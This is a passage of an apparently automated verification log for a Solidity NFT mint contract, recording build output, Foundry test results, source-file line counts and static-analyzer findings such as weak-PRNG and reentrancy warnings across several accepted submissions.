t/tools/test_artwork.py\":49,\"test/tools/test_routes.py\":45,\"test/website/contract-integration.test.cjs\":90,\"test/website/harness.cjs\":121,\"test/website/mint-client.test.cjs\":155,\"test/website/page.test.cjs\":95,\"website/app.js\":141,\"website/assets/index-C3VUAmkN.js\":44,\"website/assets/index-CPnoBN9P.css\":1,\"website/bmc-abi.js\":127,\"website/config.js\":25,\"website/favicon-32.png\":5,\"website/favicon.svg\":1,\"website/index.html\":31,\"website/mint-client.js\":369,\"website/mint-nav.css\":4,\"website/mint-nav.js\":16,\"website/mint/index.html\":135,\"website/og.png\":233,\"website/pass-abi.js\":1137,\"website/styles.css\":86},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"6376e714d705937eefef1553a4411a2802fe8ce913d443c7d7b6d4701819b72a","verifiedTreeHash":"0a33b23884d7d2ad7b662e41a0cd7385f54dfc77","verifierVersion":"0.1.0+f0753cb7"},{"checks":[{"durationMs":3843,"exitCode":0,"name":"build","output":"Compiling 48 files with Solc 0.8.26\nSolc 0.8.26 finished in 3.69s\nCompiler run successful!\n","passed":true},{"durationMs":451,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 2 tests for test/BMCMainnetFork.t.sol:BMCMainnetForkTest\n[SKIP] test_RealBMCGenesisMint() (gas: 0)\n[SKIP] test_RealBMCMysteryMint() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 2 skipped; finished in 2.10ms (3.37ms CPU time)\n\nRan 1 test for test/FactoryCompatibility.t.sol:FactoryCompatibilityTest\n[PASS] test_StaticConstructorOnEmptyChainAndRuntimePolicy() (gas: 14869963)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 40.13ms (39.89ms CPU time)\n\nRan 45 tests for test/BMCIlluminatiPass.t.sol:BMCIlluminatiPassTest\n[PASS] testFuzz_SingleRevealAlwaysInInventory(uint256) (runs: 64, μ: 10882034, ~: 10881694)\n[PASS] test_AuditCIDIsFixedAndNoPostDeploymentConfigurationExists() (gas: 10155152)\n[PASS] test_AuditElevenMysteryMintsRevealWithoutAnyExternalService() (gas: 14382493)\n[PASS] test_BlockZeroMintAndRevealDoNotUnderflow() (gas: 10850025)\n[PASS] test_Constants() (gas: 98884)\n[PASS] test_ConstructorRejectsZeroOwnerAndToken() (gas: 6357)\n[PASS] test_DeployScriptConfig() (gas: 9698558)\n[PASS] test_DeployScriptRequiresOwner() (gas: 5161752)\n[PASS] test_ExcessAllowanceOnlyBurnsPrice() (gas: 344150)\n[PASS] test_ExpiredRevealWindowSettlesAsStandard() (gas: 10910131)\n[PASS] test_ExpiredWindowWithOnlyGenesisLeftStillSettles() (gas: 144462892)\n[PASS] test_FirstMinterGetsLegendaryGenesis1() (gas: 2072505)\n[PASS] test_Full500MintSimulation() (gas: 184840198)\n[PASS] test_FullMintOutInSameBlockThenBatchReveal() (gas: 137928389)\n[PASS] test_GenesisRevertsAfterPhase1() (gas: 10630624)\n[PASS] test_HistoryContractExtendsRevealWindowBeyond256Blocks() (gas: 11376808)\n[PASS] test_LaunchGate_MainnetDeploymentIsClosedUntilOwnerOpens() (gas: 482787)\n[PASS] test_LaunchGate_OnlyOwnerOpensAndNothingCanCloseAgain() (gas: 510149)\n[PASS] test_LaunchGate_RehearsalChainIsOpenFromConstruction() (gas: 13475)\n[PASS] test_Mints2To40AreSequentialGenesis() (gas: 14524478)\n[PASS] test_MysteryMetadataPermanentAcrossBlocksAndTransfers() (gas: 11899645)\n[PASS] test_MysteryRevertsDuringPhase1() (gas: 460312)\n[PASS] test_NoOwnerMintOrWithdrawSurface() (gas: 60429)\n[PASS] test_PendingMetadataIsNeutralAndFinalMetadataIsPermanent() (gas: 17242967)\n[PASS] test_Phase1CostsExactlyOneMillion() (gas: 392610)\n[PASS] test_Phase2CostsExactly350k() (gas: 11075577)\n[PASS] test_ReentrancyAcrossPhaseBoundaryRollsBackEverything() (gas: 10407485)\n[PASS] test_ReentrancyGenesisBlocked() (gas: 879622)\n[PASS] test_ReentrancyMysteryBlocked() (gas: 11283768)\n[PASS] test_RevealIsInMintOrderAndBatched() (gas: 11602844)\n[PASS] test_RevealOutcomeDependsOnlyOnTheRevealBlockHash() (gas: 11002794)\n[PASS] test_RevealWaitsForTheBlockAfterTheMint() (gas: 10971867)\n[PASS] test_RevertInsufficientAllowance() (gas: 181344)\n[PASS] test_RevertInsufficientBalance() (gas: 195194)\n[PASS] test_RevertNoAllowance() (gas: 146386)\n[PASS] test_RevertWhenTokenDecimalsUnexpected() (gas: 728406)\n[PASS] test_RevertWhenTokenDoesNotActuallyBurn() (gas: 744828)\n[PASS] test_RevertingRevealCallerCannotReroll() (gas: 10998773)\n[PASS] test_SelectiveCallerCannotChooseMysteryOutcome() (gas: 150693868)\n[PASS] test_StandardArtCombinationsUnique() (gas: 1482850)\n[PASS] test_StandardArtCoversEveryTrait() (gas: 743744)\n[PASS] test_StandardArtRendersWithoutGenesisTraits() (gas: 30070155)\n[PASS] test_StandardMetadataAfterReveal() (gas: 19600611)\n[PASS] test_TransfersAreStandard() (gas: 471936)\n[PASS] test_ViewsRevertForNonexistent() (gas: 33624)\nSuite result: ok. 45 passed; 0 failed; 0 skipped; finished in 297.95ms (1.44s CPU time)\n\nRan 3 test suites in 300.28ms (340.18ms CPU time): 46 tests passed, 0 failed, 2 skipped (48 total tests)\n","passed":true},{"durationMs":1432,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"BMCIlluminatiPass.approve(address,uint256)\",\"BMCIlluminatiPass.mintGenesis()\",\"BMCIlluminatiPass.mintMystery()\",\"BMCIlluminatiPass.openMinting()\",\"BMCIlluminatiPass.renounceOwnership()\",\"BMCIlluminatiPass.reveal(uint256)\",\"BMCIlluminatiPass.safeTransferFrom(address,address,uint256)\",\"BMCIlluminatiPass.safeTransferFrom(address,address,uint256,bytes)\",\"BMCIlluminatiPass.setApprovalForAll(address,bool)\",\"BMCIlluminatiPass.transferFrom(address,address,uint256)\",\"BMCIlluminatiPass.transferOwnership(address)\"],\"files\":{\".github/workflows/main.yml\":45,\".gitignore\":5,\"ADAPTATION.md\":161,\"README.md\":127,\"artwork/genesis/genesis-01.png\":7910,\"artwork/genesis/genesis-02.png\":6998,\"artwork/genesis/genesis-03.png\":7016,\"artwork/genesis/genesis-04.png\":6664,\"artwork/genesis/genesis-05.png\":7186,\"artwork/genesis/genesis-06.png\":6703,\"artwork/genesis/genesis-07.png\":6488,\"artwork/genesis/genesis-08.png\":6807,\"artwork/genesis/genesis-09.png\":6793,\"artwork/genesis/genesis-10.png\":6550,\"artwork/genesis/genesis-11.png\":6125,\"artwork/genesis/genesis-12.png\":6418,\"artwork/genesis/genesis-13.png\":6298,\"artwork/genesis/genesis-14.png\":5909,\"artwork/genesis/genesis-15.png\":6142,\"artwork/genesis/genesis-16.png\":5727,\"artwork/genesis/genesis-17.png\":6019,\"artwork/genesis/genesis-18.png\":399,\"artwork/genesis/genesis-19.png\":369,\"artwork/genesis/genesis-20.png\":359,\"artwork/genesis/genesis-21.png\":330,\"artwork/genesis/genesis-22.png\":385,\"artwork/genesis/genesis-23.png\":391,\"artwork/genesis/genesis-24.png\":411,\"artwork/genesis/genesis-25.png\":393,\"artwork/genesis/genesis-26.png\":390,\"artwork/genesis/genesis-27.png\":386,\"artwork/genesis/genesis-28.png\":402,\"artwork/genesis/genesis-29.png\":375,\"artwork/genesis/genesis-30.png\":369,\"artwork/genesis/genesis-31.png\":421,\"artwork/genesis/genesis-32.png\":338,\"artwork/genesis/genesis-33.png\":389,\"artwork/genesis/genesis-34.png\":365,\"artwork/genesis/genesis-35.png\":352,\"artwork/genesis/genesis-36.png\":384,\"artwork/genesis/genesis-37.png\":365,\"artwork/genesis/genesis-38.png\":438,\"artwork/genesis/genesis-39.png\":374,\"artwork/genesis/genesis-40.png\":411,\"artwork/genesis/genesis-41.png\":380,\"artwork/genesis/genesis-42.png\":377,\"artwork/genesis/genesis-43.png\":399,\"artwork/genesis/genesis-44.png\":385,\"artwork/genesis/genesis-45.png\":352,\"artwork/genesis/genesis-46.png\":343,\"artwork/genesis/genesis-47.png\":362,\"artwork/genesis/genesis-48.png\":408,\"artwork/genesis/genesis-49.png\":325,\"artwork/genesis/genesis-50.png\":433,\"artwork/genesis/genesis-51.png\":377,\"artwork/genesis/genesis-52.png\":376,\"artwork/genesis/genesis-53.png\":401,\"artwork/genesis/genesis-54.png\":389,\"artwork/genesis/genesis-55.png\":361,\"artwork/genesis/genesis-56.png\":332,\"artwork/genesis/genesis-57.png\":414,\"artwork/genesis/genesis-58.png\":405,\"artwork/genesis/genesis-59.png\":409,\"artwork/genesis/genesis-60.png\":405,\"artwork/genesis/genesis-61.png\":369,\"artwork/genesis/genesis-62.png\":366,\"artwork/genesis/genesis-63.png\":379,\"artwork/genesis/genesis-64.png\":425,\"artwork/genesis/genesis-65.png\":406,\"artwork/genesis/genesis-66.png\":413,\"artwork/genesis/genesis-67.png\":350,\"artwork/genesis/genesis-68.png\":404,\"artwork/genesis/genesis-69.png\":392,\"artwork/genesis/genesis-70.png\":378,\"artwork/genesis/genesis-71.png\":401,\"artwork/genesis/genesis-72.png\":355,\"artwork/genesis/genesis-73.png\":405,\"artwork/genesis/genesis-74.png\":394,\"artwork/genesis/genesis-75.png\":390,\"artwork/genesis/genesis-76.png\":424,\"artwork/genesis/genesis-77.png\":381,\"artwork/tools/generate_genesis.py\":206,\"docs/LAUNCH.md\":105,\"docs/SECURITY-REVIEW.md\":106,\"docs/TEST-RESULTS.md\":86,\"docs/genesis-verification.json\":932,\"docs/website-preservation.json\":33,\"foundry.toml\":25,\"remappings.txt\":3,\"script/Deploy.s.sol\":31,\"script/export_website_abi.py\":30,\"script/verify_genesis.py\":75,\"src/BMCIlluminatiPass.sol\":474,\"src/StandardArt.sol\":236,\"src/interfaces/IBMCToken.sol\":18,\"test/BMCIlluminatiPass.t.sol\":993,\"test/BMCMainnetFork.t.sol\":81,\"test/FactoryCompatibility.t.sol\":48,\"test/mocks/MockBMC.sol\":42,\"test/tools/test_artwork.py\":49,\"test/tools/test_routes.py\":45,\"test/website/contract-integration.test.cjs\":99,\"test/website/harness.cjs\":123,\"test/website/mint-client.test.cjs\":189,\"test/website/page.test.cjs\":95,\"website/app.js\":148,\"website/assets/index-C3VUAmkN.js\":44,\"website/assets/index-CPnoBN9P.css\":1,\"website/bmc-abi.js\":127,\"website/config.js\":25,\"website/favicon-32.png\":5,\"website/favicon.svg\":1,\"website/index.html\":31,\"website/mint-client.js\":412,\"website/mint-nav.css\":4,\"website/mint-nav.js\":16,\"website/mint/index.html\":137,\"website/og.png\":233,\"website/pass-abi.js\":1289,\"website/styles.css\":86},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":3284,"exitCode":0,"name":"slither","output":"[high/medium] weak-prng at src/BMCIlluminatiPass.sol:251: BMCIlluminatiPass._draw(uint256,uint256,bool) (src/BMCIlluminatiPass.sol#251-255) uses a weak PRNG: \"r = uint256(keccak256(bytes)(abi.encode(word,tokenId))) % remaining (src/BMCIlluminatiPass.sol#253)\"\n[high/medium] reentrancy-balance at src/BMCIlluminatiPass.sol:236: Reentrancy in BMCIlluminatiPass._burnExact(address,uint256) (src/BMCIlluminatiPass.sol#236-248):\n[medium/high] incorrect-equality at src/BMCIlluminatiPass.sol:205: BMCIlluminatiPass.reveal(uint256) (src/BMCIlluminatiPass.sol#205-221) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/BMCIlluminatiPass.sol:296: BMCIlluminatiPass._slotValue(uint256) (src/BMCIlluminatiPass.sol#296-299) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/BMCIlluminatiPass.sol:169: Reentrancy in BMCIlluminatiPass.mintGenesis() (src/BMCIlluminatiPass.sol#169-183):\n[medium/medium] reentrancy-no-eth at src/BMCIlluminatiPass.sol:189: Reentrancy in BMCIlluminatiPass.mintMystery() (src/BMCIlluminatiPass.sol#189-199):\n[low/medium] calls-loop at src/BMCIlluminatiPass.sol:225: BMCIlluminatiPass._blockHashOf(uint256) (src/BMCIlluminatiPass.sol#225-233) has external calls inside a loop: (ok,data) = BLOCK_HISTORY.staticcall(abi.encode(n)) (src/BMCIlluminatiPass.sol#230)\n[low/medium] reentrancy-benign at src/BMCIlluminatiPass.sol:236: Reentrancy in BMCIlluminatiPass._burnExact(address,uint256) (src/BMCIlluminatiPass.sol#236-248):\n[low/medium] reentrancy-benign at src/BMCIlluminatiPass.sol:169: Reentrancy in BMCIlluminatiPass.mintGenesis() (src/BMCIlluminatiPass.sol#169-183):\n[low/medium] reentrancy-benign at src/BMCIlluminatiPass.sol:189: Reentrancy in BMCIlluminatiPass.mintMystery() (src/BMCIlluminatiPass.sol#189-199):","passed":true},{"durationMs":1037,"exitCode":0,"name":"aderyn","output":"[low] centralization-risk at src/BMCIlluminatiPass.sol:40: Centralization Risk (2 places)\n[low] costly-loop at src/BMCIlluminatiPass.sol:208: Costly operations inside loop\n[low] internal-function-used-once at src/StandardArt.sol:59: Internal Function Used Only Once (5 places)\n[low] large-numeric-literal at src/BMCIlluminatiPass.sol:74: Large Numeric Literal (3 places)\n[low] literal-instead-of-constant at src/StandardArt.sol:36: Literal Instead of Constant (27 places)\n[low] uninitialized-local-variable at src/BMCIlluminatiPass.sol:263: Uninitialized Local Variable","passed":true},{"durationMs":2596,"exitCode":0,"name":"proof cfb1eeea80d0","output":"Compiling 44 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.69s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-76778603/Proof_cfb1eeea80d0.t.sol:MysteryOutcomeSelectionTest\n[PASS] test_CallerCannotSelectGenesisOutcomeAtomically() (gas: 140625913)\nLogs:\n  attempts needed: 300\n  token id obtained: 0\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 39.03ms (33.42ms CPU time)\n\nRan 1 test suite in 41.61ms (39.03ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"6ba618abbb45ea5b8a4eae7232e813ed955e210605255467e65148c82849f1ec","verifiedTreeHash":"14ac190334557056eefc8e36278726bbc8153b5d","verifierVersion":"0.1.0+f0753cb7"},{"checks":[{"durationMs":2099,"exitCode":0,"name":"build","output":"Compiling 48 files with Solc 0.8.26\nSolc 0.8.26 finished in 2.00s\nCompiler run successful!\n","passed":true},{"durationMs":255,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 2 tests for test/BMCMainnetFork.t.sol:BMCMainnetForkTest\n[SKIP] test_RealBMCGenesisMint() (gas: 0)\n[SKIP] test_RealBMCMysteryMint() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 2 skipped; finished in 239.00µs (66.55µs CPU time)\n\nRan 1 test for test/FactoryCompatibility.t.sol:FactoryCompatibilityTest\n[PASS] test_StaticConstructorOnEmptyChainAndRuntimePolicy() (gas: 14869963)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 19.87ms (19.72ms CPU time)\n\nRan 45 tests for test/BMCIlluminatiPass.t.sol:BMCIlluminatiPassTest\n[PASS] testFuzz_SingleRevealAlwaysInInventory(uint256) (runs: 64, μ: 10884074, ~: 10881694)\n[PASS] test_AuditCIDIsFixedAndNoPostDeploymentConfigurationExists() (gas: 10155152)\n[PASS] test_AuditElevenMysteryMintsRevealWithoutAnyExternalService() (gas: 14382493)\n[PASS] test_BlockZeroMintAndRevealDoNotUnderflow() (gas: 10850025)\n[PASS] test_Constants() (gas: 98884)\n[PASS] test_ConstructorRejectsZeroOwnerAndToken() (gas: 6357)\n[PASS] test_DeployScriptConfig() (gas: 9698558)\n[PASS] test_DeployScriptRequiresOwner() (gas: 5161752)\n[PASS] test_ExcessAllowanceOnlyBurnsPrice() (gas: 344150)\n[PASS] test_ExpiredRevealWindowSettlesAsStandard() (gas: 10910131)\n[PASS] test_ExpiredWindowWithOnlyGenesisLeftStillSettles() (gas: 144462892)\n[PASS] test_FirstMinterGetsLegendaryGenesis1() (gas: 2072505)\n[PASS] test_Full500MintSimulation() (gas: 184840198)\n[PASS] test_FullMintOutInSameBlockThenBatchReveal() (gas: 137928389)\n[PASS] test_GenesisRevertsAfterPhase1() (gas: 10630624)\n[PASS] test_HistoryContractExtendsRevealWindowBeyond256Blocks() (gas: 11376808)\n[PASS] test_LaunchGate_MainnetDeploymentIsClosedUntilOwnerOpens() (gas: 482787)\n[PASS] test_LaunchGate_OnlyOwnerOpensAndNothingCanCloseAgain() (gas: 510149)\n[PASS] test_LaunchGate_RehearsalChainIsOpenFromConstruction() (gas: 13475)\n[PASS] test_Mints2To40AreSequentialGenesis() (gas: 14524478)\n[PASS] test_MysteryMetadataPermanentAcrossBlocksAndTransfers() (gas: 11899645)\n[PASS] test_MysteryRevertsDuringPhase1() (gas: 460312)\n[PASS] test_NoOwnerMintOrWithdrawSurface() (gas: 60429)\n[PASS] test_PendingMetadataIsNeutralAndFinalMetadataIsPermanent() (gas: 17242967)\n[PASS] test_Phase1CostsExactlyOneMillion() (gas: 392610)\n[PASS] test_Phase2CostsExactly350k() (gas: 11075577)\n[PASS] test_ReentrancyAcrossPhaseBoundaryRollsBackEverything() (gas: 10407485)\n[PASS] test_ReentrancyGenesisBlocked() (gas: 879622)\n[PASS] test_ReentrancyMysteryBlocked() (gas: 11283768)\n[PASS] test_RevealIsInMintOrderAndBatched() (gas: 11602844)\n[PASS] test_RevealOutcomeDependsOnlyOnTheRevealBlockHash() (gas: 11002794)\n[PASS] test_RevealWaitsForTheBlockAfterTheMint() (gas: 10971867)\n[PASS] test_RevertInsufficientAllowance() (gas: 181344)\n[PASS] test_RevertInsufficientBalance() (gas: 195194)\n[PASS] test_RevertNoAllowance() (gas: 146386)\n[PASS] test_RevertWhenTokenDecimalsUnexpected() (gas: 728406)\n[PASS] test_RevertWhenTokenDoesNotActuallyBurn() (gas: 744828)\n[PASS] test_RevertingRevealCallerCannotReroll() (gas: 10998773)\n[PASS] test_SelectiveCallerCannotChooseMysteryOutcome() (gas: 150693868)\n[PASS] test_StandardArtCombinationsUnique() (gas: 1482850)\n[PASS] test_StandardArtCoversEveryTrait() (gas: 743744)\n[PASS] test_StandardArtRendersWithoutGenesisTraits() (gas: 30070155)\n[PASS] test_StandardMetadataAfterReveal() (gas: 19600611)\n[PASS] test_TransfersAreStandard() (gas: 471936)\n[PASS] test_ViewsRevertForNonexistent() (gas: 33624)\nSuite result: ok. 45 passed; 0 failed; 0 skipped; finished in 169.01ms (780.92ms CPU time)\n\nRan 3 test suites in 171.12ms (189.12ms CPU time): 46 tests passed, 0 failed, 2 skipped (48 total tests)\n","passed":true},{"durationMs":909,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"BMCIlluminatiPass.approve(address,uint256)\",\"BMCIlluminatiPass.mintGenesis()\",\"BMCIlluminatiPass.mintMystery()\",\"BMCIlluminatiPass.openMinting()\",\"BMCIlluminatiPass.renounceOwnership()\",\"BMCIlluminatiPass.reveal(uint256)\",\"BMCIlluminatiPass.safeTransferFrom(address,address,uint256)\",\"BMCIlluminatiPass.safeTransferFrom(address,address,uint256,bytes)\",\"BMCIlluminatiPass.setApprovalForAll(address,bool)\",\"BMCIlluminatiPass.transferFrom(address,address,uint256)\",\"BMCIlluminatiPass.transferOwnership(address)\"],\"files\":{\".github/workflows/main.yml\":45,\".gitignore\":5,\"ADAPTATION.md\":161,\"README.md\":127,\"artwork/genesis/genesis-01.png\":7910,\"artwork/genesis/genesis-02.png\":6998,\"artwork/genesis/genesis-03.png\":7016,\"artwork/genesis/genesis-04.png\":6664,\"artwork/genesis/genesis-05.png\":7186,\"artwork/genesis/genesis-06.png\":6703,\"artwork/genesis/genesis-07.png\":6488,\"artwork/genesis/genesis-08.png\":6807,\"artwork/genesis/genesis-09.png\":6793,\"artwork/genesis/genesis-10.png\":6550,\"artwork/genesis/genesis-11.png\":6125,\"artwork/genesis/genesis-12.png\":6418,\"artwork/genesis/genesis-13.png\":6298,\"artwork/genesis/genesis-14.png\":5909,\"artwork/genesis/genesis-15.png\":6142,\"artwork/genesis/genesis-16.png\":5727,\"artwork/genesis/genesis-17.png\":6019,\"artwork/genesis/genesis-18.png\":399,\"artwork/genesis/genesis-19.png\":369,\"artwork/genesis/genesis-20.png\":359,\"artwork/genesis/genesis-21.png\":330,\"artwork/genesis/genesis-22.png\":385,\"artwork/genesis/genesis-23.png\":391,\"artwork/genesis/genesis-24.png\":411,\"artwork/genesis/genesis-25.png\":393,\"artwork/genesis/genesis-26.png\":390,\"artwork/genesis/genesis-27.png\":386,\"artwork/genesis/genesis-28.png\":402,\"artwork/genesis/genesis-29.png\":375,\"artwork/genesis/genesis-30.png\":369,\"artwork/genesis/genesis-31.png\":421,\"artwork/genesis/genesis-32.png\":338,\"artwork/genesis/genesis-33.png\":389,\"artwork/genesis/genesis-34.png\":365,\"artwork/genesis/genesis-35.png\":352,\"artwork/genesis/genesis-36.png\":384,\"artwork/genesis/genesis-37.png\":365,\"artwork/genesis/genesis-38.png\":438,\"artwork/genesis/genesis-39.png\":374,\"artwork/genesis/genesis-40.png\":411,\"artwork/genesis/genesis-41.png\":380,\"artwork/genesis/genesis-42.png\":377,\"artwork/genesis/genesis-43.png\":399,\"artwork/genesis/genesis-44.png\":385,\"artwork/genesis/genesis-45.png\":352,\"artwork/genesis/genesis-46.png\":343,\"artwork/genesis/genesis-47.png\":362,\"artwork/genesis/genesis-48.png\":408,\"artwork/genesis/genesis-49.png\":325,\"artwork/genesis/genesis-50.png\":433,\"artwork/genesis/genesis-51.png\":377,\"artwork/genesis/genesis-52.png\":376,\"artwork/genesis/genesis-53.png\":401,\"artwork/genesis/genesis-54.png\":389,\"artwork/genesis/genesis-55.png\":361,\"artwork/genesis/genesis-56.png\":332,\"artwork/genesis/genesis-57.png\":414,\"artwork/genesis/genesis-58.png\":405,\"artwork/genesis/genesis-59.png\":409,\"artwork/genesis/genesis-60.png\":405,\"artwork/genesis/genesis-61.png\":369,\"artwork/genesis/genesis-62.png\":366,\"artwork/genesis/genesis-63.png\":379,\"artwork/genesis/genesis-64.png\":425,\"artwork/genesis/genesis-65.png\":406,\"artwork/genesis/genesis-66.png\":413,\"artwork/genesis/genesis-67.png\":350,\"artwork/genesis/genesis-68.png\":404,\"artwork/genesis/genesis-69.png\":392,\"artwork/genesis/genesis-70.png\":378,\"artwork/genesis/genesis-71.png\":401,\"artwork/genesis/genesis-72.png\":355,\"artwork/genesis/genesis-73.png\":405,\"artwork/genesis/genesis-74.png\":394,\"artwork/genesis/genesis-75.png\":390,\"artwork/genesis/genesis-76.png\":424,\"artwork/genesis/genesis-77.png\":381,\"artwork/tools/generate_genesis.py\":206,\"docs/LAUNCH.md\":105,\"docs/SECURITY-REVIEW.md\":106,\"docs/TEST-RESULTS.md\":86,\"docs/genesis-verification.json\":932,\"docs/website-preservation.json\":33,\"foundry.toml\":25,\"launch.json\":13,\"remappings.txt\":3,\"script/Deploy.s.sol\":31,\"script/export_website_abi.py\":30,\"script/verify_genesis.py\":75,\"src/BMCIlluminatiPass.sol\":474,\"src/StandardArt.sol\":236,\"src/interfaces/IBMCToken.sol\":18,\"test/BMCIlluminatiPass.t.sol\":993,\"test/BMCMainnetFork.t.sol\":81,\"test/FactoryCompatibility.t.sol\":48,\"test/mocks/MockBMC.sol\":42,\"test/tools/test_artwork.py\":49,\"test/tools/test_routes.py\":45,\"test/website/contract-integration.test.cjs\":99,\"test/website/harness.cjs\":123,\"test/website/mint-client.test.cjs\":189,\"test/website/page.test.cjs\":95,\"website/app.js\":148,\"website/assets/index-C3VUAmkN.js\":44,\"website/assets/index-CPnoBN9P.css\":1,\"website/bmc-abi.js\":127,\"website/config.js\":25,\"website/favicon-32.png\":5,\"website/favicon.svg\":1,\"website/index.html\":31,\"website/mint-client.js\":412,\"website/mint-nav.css\":4,\"website/mint-nav.js\":16,\"website/mint/index.html\":137,\"website/og.png\":233,\"website/pass-abi.js\":1289,\"website/styles.css\":86},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"8046fd7579fe3e1faa2d7938a38bd14446d971ce32e6d19ab4e82a5becc874d2","verifiedTreeHash":"c10848dbb4dc0597fbabd766a24a6a6238876a37","verifierVersion":"0.1.0+f0753cb7"},{"checks":[{"durationMs":2913,"exitCode":0,"name":"build","output":"Compiling 48 files with Solc 0.8.26\nSolc 0.8.26 finished in 2.69s\nCompiler run successful!\n","passed":true},{"durationMs":403,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 2 tests for test/BMCMainnetFork.t.sol:BMCMainnetForkTest\n[SKIP] test_RealBMCGenesisMint() (gas: 0)\n[SKIP] test_RealBMCMysteryMint() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 2 skipped; finished in 13.46ms (14.06ms CPU time)\n\nRan 1 test for test/FactoryCompatibility.t.sol:FactoryCompatibilityTest\n[PASS] test_StaticConstructorOnEmptyChainAndRuntimePolicy() (gas: 12842708)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 39.70ms (33.59ms CPU time)\n\nRan 33 tests for test/BMCIlluminatiPass.t.sol:BMCIlluminatiPassTest\n[PASS] testFuzz_SingleRevealAlwaysInInventory(uint256) (runs: 64, μ: 10735694, ~: 10732294)\n[PASS] test_AuditCIDIsFixedAndNoPostDeploymentConfigurationExists() (gas: 10127929)\n[PASS] test_AuditElevenMysteryMintsRevealWithoutAnyExternalService() (gas: 14223854)\n[PASS] test_BlockZeroDoesNotUnderflowRandomnessInput() (gas: 10690799)\n[PASS] test_Constants() (gas: 82525)\n[PASS] test_ConstructorRejectsZeroOwnerAndToken() (gas: 6423)\n[PASS] test_DeployScriptConfig() (gas: 8624378)\n[PASS] test_DeployScriptRequiresOwner() (gas: 4619355)\n[PASS] test_ExcessAllowanceOnlyBurnsPrice() (gas: 341744)\n[PASS] test_FirstMinterGetsLegendaryGenesis1() (gas: 2070077)\n[PASS] test_Full500MintSimulation() (gas: 154526649)\n[PASS] test_FullMintOutInSameBlock() (gas: 131557506)\n[PASS] test_GenesisRevertsAfterPhase1() (gas: 10531443)\n[PASS] test_Mints2To40AreSequentialGenesis() (gas: 14428551)\n[PASS] test_MysteryMetadataPermanentAcrossBlocksAndTransfers() (gas: 11707962)\n[PASS] test_MysteryRevertsDuringPhase1() (gas: 455741)\n[PASS] test_NoOwnerMintOrWithdrawSurface() (gas: 58240)\n[PASS] test_Phase1CostsExactlyOneMillion() (gas: 390314)\n[PASS] test_Phase2CostsExactly350k() (gas: 10804338)\n[PASS] test_ReentrancyAcrossPhaseBoundaryRollsBackEverything() (gas: 10310428)\n[PASS] test_ReentrancyGenesisBlocked() (gas: 877241)\n[PASS] test_ReentrancyMysteryBlocked() (gas: 11256522)\n[PASS] test_RevertInsufficientAllowance() (gas: 179198)\n[PASS] test_RevertInsufficientBalance() (gas: 193181)\n[PASS] test_RevertNoAllowance() (gas: 144285)\n[PASS] test_RevertWhenTokenDecimalsUnexpected() (gas: 726216)\n[PASS] test_RevertWhenTokenDoesNotActuallyBurn() (gas: 742771)\n[PASS] test_StandardArtCombinationsUnique() (gas: 1482916)\n[PASS] test_StandardArtCoversEveryTrait() (gas: 743743)\n[PASS] test_StandardArtRendersWithoutGenesisTraits() (gas: 30070199)\n[PASS] test_StandardMetadataAfterReveal() (gas: 19295368)\n[PASS] test_TransfersAreStandard() (gas: 469439)\n[PASS] test_ViewsRevertForNonexistent() (gas: 33646)\nSuite result: ok. 33 passed; 0 failed; 0 skipped; finished in 254.29ms (776.99ms CPU time)\n\nRan 3 test suites in 258.59ms (307.45ms CPU time): 34 tests passed, 0 failed, 2 skipped (36 total tests)\n","passed":true},{"durationMs":1238,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"BMCIlluminatiPass.approve(address,uint256)\",\"BMCIlluminatiPass.mintGenesis()\",\"BMCIlluminatiPass.mintMystery()\",\"BMCIlluminatiPass.renounceOwnership()\",\"BMCIlluminatiPass.safeTransferFrom(address,address,uint256)\",\"BMCIlluminatiPass.safeTransferFrom(address,address,uint256,bytes)\",\"BMCIlluminatiPass.setApprovalForAll(address,bool)\",\"BMCIlluminatiPass.transferFrom(address,address,uint256)\",\"BMCIlluminatiPass.transferOwnership(address)\"],\"files\":{\".github/workflows/main.yml\":45,\".gitignore\":5,\"ADAPTATION.md\":134,\"README.md\":120,\"artwork/genesis/genesis-01.png\":7910,\"artwork/genesis/genesis-02.png\":6998,\"artwork/genesis/genesis-03.png\":7016,\"artwork/genesis/genesis-04.png\":6664,\"artwork/genesis/genesis-05.png\":7186,\"artwork/genesis/genesis-06.png\":6703,\"artwork/genesis/genesis-07.png\":6488,\"artwork/genesis/genesis-08.png\":6807,\"artwork/genesis/genesis-09.png\":6793,\"artwork/genesis/genesis-10.png\":6550,\"artwork/genesis/genesis-11.png\":6125,\"artwork/genesis/genesis-12.png\":6418,\"artwork/genesis/genesis-13.png\":6298,\"artwork/genesis/genesis-14.png\":5909,\"artwork/genesis/genesis-15.png\":6142,\"artwork/genesis/genesis-16.png\":5727,\"artwork/genesis/genesis-17.png\":6019,\"artwork/genesis/genesis-18.png\":399,\"artwork/genesis/genesis-19.png\":369,\"artwork/genesis/genesis-20.png\":359,\"artwork/genesis/genesis-21.png\":330,\"artwork/genesis/genesis-22.png\":385,\"artwork/genesis/genesis-23.png\":391,\"artwork/genesis/genesis-24.